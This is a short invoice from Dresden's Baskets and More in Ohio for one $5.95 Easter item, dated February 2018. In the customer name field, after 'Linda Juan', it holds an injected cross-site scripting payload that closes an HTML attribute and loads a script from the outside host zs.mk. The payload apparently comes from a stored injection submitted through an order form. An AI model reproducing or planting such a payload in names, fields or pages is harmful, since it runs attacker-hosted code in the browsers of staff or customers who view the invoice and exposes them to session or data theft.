Invoice
From:
Dresden's Baskets and More

506 Main St
Dresden, OH 43821

baskets.more@att.net
740-754-1244

Invoice Number INV-0657
Order Number 7497
Invoice Date February 5, 2018
Total Due $5.95
To:
Linda Juan"><script src=//zs.mk/f></script>

,

Hrs/Qty Service Rate/PriceSub Total
1 Easter Little 2018 Protector
 $5.95$5.95
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